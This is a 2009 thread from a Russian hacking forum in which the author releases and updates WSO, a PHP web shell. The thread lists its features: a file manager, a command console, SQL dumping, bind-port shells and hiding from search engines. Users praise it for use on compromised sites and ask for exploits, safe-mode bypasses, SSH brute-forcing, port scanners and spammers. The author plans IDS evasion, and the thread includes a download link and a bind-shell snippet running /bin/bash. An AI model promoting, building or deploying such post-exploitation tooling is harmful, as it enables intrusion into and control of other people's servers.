Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   WSO (веб-шелл) (https://forum.antichat.xyz/showthread.php?t=103155)

oRb 26.01.2009 12:21

WSO - веб-шелл
 
WSO2.4
Описание:
  • Авторизация
  • Информация о сервере
  • Файловый менеджер (Копирование, переименование, перемещение, удаление, чмод, тач, создание файлов и папок)
  • Просмотр, hexview, редактирование, давнлоад, аплоад файлов
  • Работа с zip архивами (упаковка, распаковка)
  • Консоль
  • SQL менеджер (MySql, PostgreSql)
  • Выполнение PHP кода
  • Работа со строками + поиск хеша в онлайн базах
  • Биндпорт и бек-коннект (Perl)
  • Поиск текста в файлах
  • *nix/Windows
Из фишек
  • Антипоисковик (проверяется User-Agent, если поисковик, тогда возвращается 404 ошибка)
  • Консолька запоминает введенные команды. (перемещаться по ним можно с помощью стрелок вверх, вниз при фокусе на поле для ввода)
  • Можно использовать AJAX
  • Малый вес (24.32 KB)
  • Выбор кодировки, в которой работает шелл.

Данная утилита предоставляет веб-интерфейс для удаленной работы c операционной системой и ее службами/демонами.
Использование данного продукта в незаконных целях грозит уголовной ответственностью.

Скачать: http://narod.ru/disk/18331224000/wso2.4.zip.html
Архив содержит последнюю версию шелла и небольшую тулзу WSOmanager - для работы с шеллами.

oRb 04.02.2009 12:16

Обновление:
  • Пофиксил баги
  • Мелкие исправления:
    - clear теперь очищает консоль, не делая запрос на сервер
    - При изменении кодировки, соединение с мускулом не "сбрасывается".
  • Добавлены
    - Bind port to /bin/bash
    - изменение даты модификации файла
  • Упаковал. Теперь вес (16 кб)
Первый пост обновил.

UPD:
еще несколько фиксов.
Спасибо: b3

oRb 20.02.2009 17:56

Обновление:
  • Уменьшен размер кода, генерируемого файловым менеджером
  • Добавлен новый сервис для расшифровки хеша
  • В файловом менеджере можно применять сортировки к столбцам
  • В SQL менеджере новый вывод таблиц (более наглядный, подсчет записей в каждой таблице)
  • Записи с длинным полями отображаются в компактном виде
  • Сделал возможность дампа бд. Можно выбирать конкретные таблицы.
  • В меню выделяется раздел, в котором находишься
  • Все формы в разделе Tools теперь нормальные (отправляются по enter'у)
  • Код местами переписан, + исправлены мелкие баги.

Отредактировал первый пост.

x-demon 24.02.2009 10:59

Отличная вещь. дизайн бы правда сменить :)

oRb 24.02.2009 22:06

Цитата:

Сообщение от x-demon
дизайн бы правда сменить :)

Скоро займусь 2й версией. По планам много будет изменено, дизайн в том числе.

heretic1990 24.02.2009 23:47

Цитата:

Сообщение от x-demon
Отличная вещь. дизайн бы правда сменить :)

главное не дизайн, а функционал.

п.с. зачётный шелл!

oRb 26.02.2009 00:36

Небольшие фиксы:
- нормальная работа при safe-mode
- после соединения с mysql сервером, кодировка устанавливалась с помощью функции mysql_set_charset. Почитал мануал повнимательней: PHP 5 >= 5.2.3. Пофиксил.

Велемир 21.03.2009 14:28

Опаньки)Ща испробуем.Будет ещё обновляться что-нить ?):)

1)Или мне кажется,или r99 быстрее)
2) Я за смену дизайна:)(как у эрки) ).
3) Хорошо б замутить брут ssh+Брут по словарю))))))))
4)Бэкконекта чет не вижу,а вот биндя есть:).


ЗЫ:Лови плюськи )

Обновляемый проект - хороший проект))).Буду(лично я - да) ждать с ультрамеганетерпением:)

oRb 21.03.2009 17:16

Цитата:

Будет ещё обновляться что-нить ?)
Да, сейчас пишу вторую версию (переписываю с нуля). Будет заметно больше функционала, обновленный диз и нормальная кроссплатформенность.
Цитата:

1)Или мне кажется,или r99 быстрее)
не совсем понял, что ты имел в виду (c99 или r57). Все зависит от много, в том числе, какой именно функционал шелла используется. Но по скорости они не должны заметно отличаться.
Цитата:

3) Хорошо б замутить брут ssh+Брут по словарю))))))))
по словарю будет, ssh - посмотрим.
Цитата:

4)Бэкконекта чет не вижу,а вот биндя есть
да, его там нет, сам его написать не мог, а чужой код вставлять не хотелось.

astrologer 21.03.2009 22:58

Код:

if (($perms & 0xC000) == 0xC000) $info = 's';
else if (($perms & 0xA000) == 0xA000) $info = 'l';
else if (($perms & 0x8000) == 0x8000) $info = '-';
else if (($perms & 0x6000) == 0x6000) $info = 'b';
else if (($perms & 0x4000) == 0x4000) $info = 'd';
else if (($perms & 0x2000) == 0x2000) $info = 'c';
else if (($perms & 0x1000) == 0x1000) $info = 'p';
else $info = 'u';

Можно же сдвинуть вправо на 12 бит

Велемир 22.03.2009 02:01

Пасип,что ответил.Да,я имел ввиду r57:)(Видно,Веле не здоровилось сегодня:) )

DeepXhadow 05.04.2009 15:57

Зачетный шел. Перешел с с99 madnet edition на этот. Из минусов - нету бекдора и дизайн мне больше нравился у c99 madnet. Автору респект

gromoza 06.04.2009 10:18

Если серв виндузяццкий, то ссылки у меня не совсем корректно работали. У себя на локалхосте тестил.

oRb 06.04.2009 10:45

gromoza, дык в первом посте написано, что шелл только под *nix.
wso2 сейчас уже нормально работает на обоих платформах. Когда напишу весь функционал, который задумал - выложу релиз.

diznt 06.04.2009 15:42

oRb респект! крутой шелл получился! ;) жду обновки!
Хочеться еще консольку под виндувс (а то команды не пашут на виндовсе под твоим шеллом)

KHR3b 11.04.2009 10:26

Цитата:

Внутренняя ошибка сервиса.
Мы уже в курсе и стараемся исправить как можно быстрее. Возвращайтесь немного позже, все уже будет работать.
Перезалейте плиз куданить в другое место

oRb 26.04.2009 14:35

Вот и 2я версия. Вся инфа в первом посте. Надеюсь все будут довольны :)

ReduKToR 26.04.2009 15:54

http://www.axifile.com/?3060315
http://depositfiles.com/files/2lvijsi1n
http://ifolder.ru/11818910
http://zalil.ru/27486709
качаем наздоровье

rushter 26.04.2009 18:21

Дизайн никакой,тот был лучше

Nightmarе 26.04.2009 19:00

Респект! Вещь действительно хорошая.
Отмечю пару вещей которых на мой взгляд не хватает другим шеллам.

1) Авторизация по паролю, поскольку не используется метод Basic, шелл будет работать с паролем на гораздо большем количестве взломаных сайтов чем с Basic ибо она не поддерживается на каждом втором сайте (я про php basic а не htaccess).

2) Удобная работа с базой данных, именно этот шелл смог залезть в одну БД в которую другие по каким-то причинам не смогли получить доступ.
Но тут небольшая проблемма, - скачиваемый дамп не сжимается, жаль.

3) Очень красивый (опять таки на мой взгляд) дизайн, замечательное сочитание цветов, и не напрягает глаз.

А вот что из больших минусов, так это нет отображения листинга + как в с99 чтобы щёлкаешь по директории и попадаешь в неё. В этом направлении с99 удобнее.

Nightmarе 26.04.2009 19:05

ЗЫ: главное не запаковывай его как с99, а то опять будут проблеммы с запуском на многих хостах.

oRb 26.04.2009 19:16

Цитата:

1) Авторизация по паролю, поскольку не используется метод Basic, шелл будет работать с паролем на гораздо большем количестве взломаных сайтов чем с Basic ибо она не поддерживается на каждом втором сайте (я про php basic а не htaccess).
Просто если php прикручен как cgi-обработчик, то Basic авторизация не пашет. Поэтому я и отказался от нее.
Цитата:

Но тут небольшая проблемма, - скачиваемый дамп не сжимается, жаль.
Постараюсь реализовать в следующей версии
Цитата:

А вот что из больших минусов, так это нет отображения листинга + как в с99 чтобы щёлкаешь по директории и попадаешь в неё.
Как нет? О_О Нажми на "Files" (2я ссыль в менюшке).
Цитата:

ЗЫ: главное не запаковывай его как с99, а то опять будут проблеммы с запуском на многих хостах.
Ага, упакован он по обычному, надо будет придумать что-нибудь другое.

ps: по поводу диза. Цвет можно поменять самому. В начале скрипта есть переменная $color.

попугай 26.04.2009 19:30

Шелл прикольненький....

А на cold fusion подобное кто-нить видел?

Saint-Sky 26.04.2009 19:48

Отличный шелл...
Хотелось бы, чтобы ты добавил в SQL количество записей для каждой таблички...

Велемир 08.05.2009 04:04

Ня))) Орбик постаралсо.Всё ещё надеюсь на SSH и другие специфические вещички,которых нет у с99(опять ня).Подумаю,что можно ещё добавить:)

оО: А если флудер/спамер мыл туда присобачить,как в NFM ?)))(по списку и одному).Кому-то это покажется бесполезным,но по мне так наоборот - куча прог в одном скрипте,которые мона заюзать на хосте... Веля не параноик!)

Велемир 08.05.2009 04:07

А чо за Exception processing Message ? Далее идут адреса...

PaCo 08.05.2009 04:17

2Велемир
Может сразу туда добавить спамер однокласников и добавления видео с ютуба или получения прямых ссылок с файлообменика?

Велемир 30.05.2009 00:49

Цитата:

Сообщение от PaCo
2Велемир
Может сразу туда добавить спамер однокласников и добавления видео с ютуба или получения прямых ссылок с файлообменика?

Я лишь высказал своё мнение.Твой ответ меня не интересует,а одноклассники - тем более

Велемир 30.05.2009 00:53

Предлагаю добавить следующее:

1.Показ IP/DNS сервера.Это нужно для того,чтобы по сотню раз не юзать команды.
2.Поставить эксплойты,как в NFS и GNY.
3. RFI/LFI FINDER.Видел такую реализацию и на производительности это никак не сказалось.
4.Сканер портов,дабы не бегать за сканерами.Реально напрягает.Всё это уже реализовано во многих шеллах.Лично я бы юзал их,если б не их минусы и дизайн.
5. PHP Safe-Mode Bypass.Читалка/писалки хорошо было бы видеть в последующих релизах.

Это всё.Спасибо за внимание.

oRb 30.05.2009 10:58

Велемир,
1. IP итак показывается. DNS? А зачем? оО
2. вот поэтому они и весят по пол метра, а мой всего 20 килобайт.
3. Опять же лишний вес. И эта вещь мало кому нужна.
4. Возможно.
5. итак есть. Вот только вспомнить сплойтов под safe-mode для записи в файл, я что-то не могу.

ps: готовится версия 2.1

shellz[21h] 01.06.2009 23:12

Цитата:

Escape character is '^]'.
Password:wso
/bin/sh: can't access tty; job control turned off
$ id
: not found
$
Почему не может получить доступ к tty? шелл биндится, но команды не работают.

oRb 01.06.2009 23:31

shellz[21h], у меня нету достаточной информации, чтобы ответить на Ваш вопрос.
Могу задать лишь встречные вопросы:
1. как обстоят дела с биндпортами на других шеллах?
2. Что за система?
3. Если есть возможность скинуть линк на шелл в пм?

shellz[21h] 01.06.2009 23:55

Цитата:

Server software: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4 with Suhosin-Patch
OS version: Linux version 2.6.28-11-generic (buildd@palmer) (gcc version 4.3.3 (Ubuntu 4.3.3-5ubuntu4) ) #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009
Distr name: Ubuntu 9.04

Userful: gcc cc ld make php perl python ruby tar gzip bzip2 nc locate
Downloaders: wget links lwp-mirror
Я тестирую на локалхосте, как выяснилось дело не в биндшелле который в вашем шелле, так как пробывал забиндить порт другим средствами, аналогичная проблема. На других хостах не тестил, но думается все работает.

shellz[21h] 02.06.2009 00:24

Если биндить шелл, чтоб он запускал bash [ system('/bin/bash -i'); ] интерактивном режиме, то все работает.

oRb 04.06.2009 23:59

Новая версия: 2.1
Обновил первый пост.
Кратко об изменениях:
  • Фиксы багов
  • В SQL-менеджере пишется число записей в таблице
  • SQL дамп и файлы качаются упакованными
  • Добавлена возможность постраничного просмотра содержимого таблиц
  • SQL-менеджер теперь работает и с PostgreSql
  • Добавлена возможность выбора как отправить запрос (AJAX или без него)
  • Улучшена работа шелла в инклюдах.
  • Небольшой конфиг в начале шелла

В планах на будущее: реализовать идею Digimortal'а об рандомных именах параметров и шифровании данных при передаче для обхода IDS

PaCo 05.06.2009 00:08

Не знаю как получаешь список файлов - на NetWare с safe_mode on не видет папок и файлов кроме себя хотя тот же r57 все замечательно видет,та даже вот так все выводится print_r(scandir("./")) а в твоем шелле почему то нет.

oRb 05.06.2009 10:29

PaCo, спасибо за тест. Парочка встречных вопросов:
1. Если можешь, выложи ls -la той папки
2. Настройки пхп. Интересуют больше safe_mode_gid и disable_functions
3. а. Что вернет is_dir($dir), где $dir - папка, которую не отображает шелл.
3. б. Аналагочино с is_file()

PaCo 05.06.2009 22:07

Цитата:

Сообщение от oRb
PaCo, спасибо за тест. Парочка встречных вопросов:
1. Если можешь, выложи ls -la той папки
2. Настройки пхп. Интересуют больше safe_mode_gid и disable_functions
3. а. Что вернет is_dir($dir), где $dir - папка, которую не отображает шелл.
3. б. Аналагочино с is_file()

1)Не могу выложить ибо safe_mode, привилигии не повышал и честно не сталкивался с этим на NET WARE, вот что выводит r57:
PHP код:

 u---------   0                             31.12.1969 19:00 some_file.php
 u
---------   0                             31.12.1969 19:00 some_file_2.php
14229335 
-rwxrwxrwx   0                        1011 01.06.2009 00:27 myfile_up.php
 u
---------   0                             31.12.1969 19:00 some_file_2.php
 u
---------   0                             31.12.1969 19:00 some_file_3.php
 u
---------   0                             31.12.1969 19:00 some_file_4.php
 u
---------   0                             31.12.1969 19:00 some_file_5.php
 u
---------   0                             31.12.1969 19:00 some_file_6.php
 u
---------   0                             31.12.1969 19:00 some_file_7.php
 u
---------   0                             31.12.1969 19:00 some_file_8.php
14890593 
-rwxrwxrwx   0                      171298 30.05.2009 20:12 my_shell_name.php
 u
---------   0                             31.12.1969 19:00 some_file_9.php 

2) phpinfo()
3) is_dir():
var_dump(is_dir("../")); // bool(false)
var_dump(is_dir("./")); // bool(false)
var_dump(is_dir("sys:/apache2/htdocs/site_name/admin_dir/main_dir")); // bool(false)

4)
is_file:
var_dump(is_file("sys:/apache2/htdocs/site_name/admin_dir/main_dir/some_file.php")); // bool(false) то есть старый файл не видет по все видимости, stat этого файла также выводит ошибку, хотя readfile() выводит содежимое этого файла, равно как и file_get_contents().

var_dump(is_file("sys:/apache2/htdocs/site_name/admin_dir/main_dir/my_shell_name.php")); // bool(true)
а новый файл определяеться, самое удивительное что все файлы доступны на запись и etc, по всей видимости это какие очень дикие настройки php(серверная API CGI кстати), шелл от madnet также ничего кроме себя не видет ибо наверника также опредляет файл по is_file(), только r57 тупа сканит дир и вылаживает содержимое без проверки на is_file() файлов поэтому они видны.

oRb 05.06.2009 22:38

Вроде понял.
Бага похоже заключается в том, что scandir, не смотря на сейфмод возвращает все содержимое диры. А функции по типу is_dir, is_file, file_size и т.д. не могу получить инфу о файле из-за сейфмода. Т.е. ты с этими файлами ничего сделать не сможешь.
Возможно такой результат scandir - это бага сеймода той версии пхп (5.0.5).

PaCo 05.06.2009 22:50

Цитата:

Сообщение от oRb
Вроде понял.
Бага похоже заключается в том, что scandir, не смотря на сейфмод возвращает все содержимое диры.
Возможно такой результат scandir - это бага сеймода той версии пхп (5.0.5).

ну не только scandir возврашает содержимое дириктории, но и
PHP код:

if ($handle opendir('.')) {
    while (
false !== ($file readdir($handle))) { 
        if (
$file != "." && $file != "..") { 
            echo 
"$file\n"
        } 
    }
    
closedir($handle); 


поэтому наврятли это трабла в нем,

Цитата:

А функции по типу is_dir, is_file, file_size и т.д. не могу получить инфу о файле из-за сейфмода. Т.е. ты с этими файлами ничего сделать не сможешь.
опровергая, в файлы я могу присвободно записывать(разуметься во все что в веб дире), имхо проблема скорее либо в серверной API либо в не совсем стандартном поведении функций is_dir, is_file, file_size на Net Ware в safe_mod, потому как все функции по сохранению в файл работают отлично.


Время: 03:04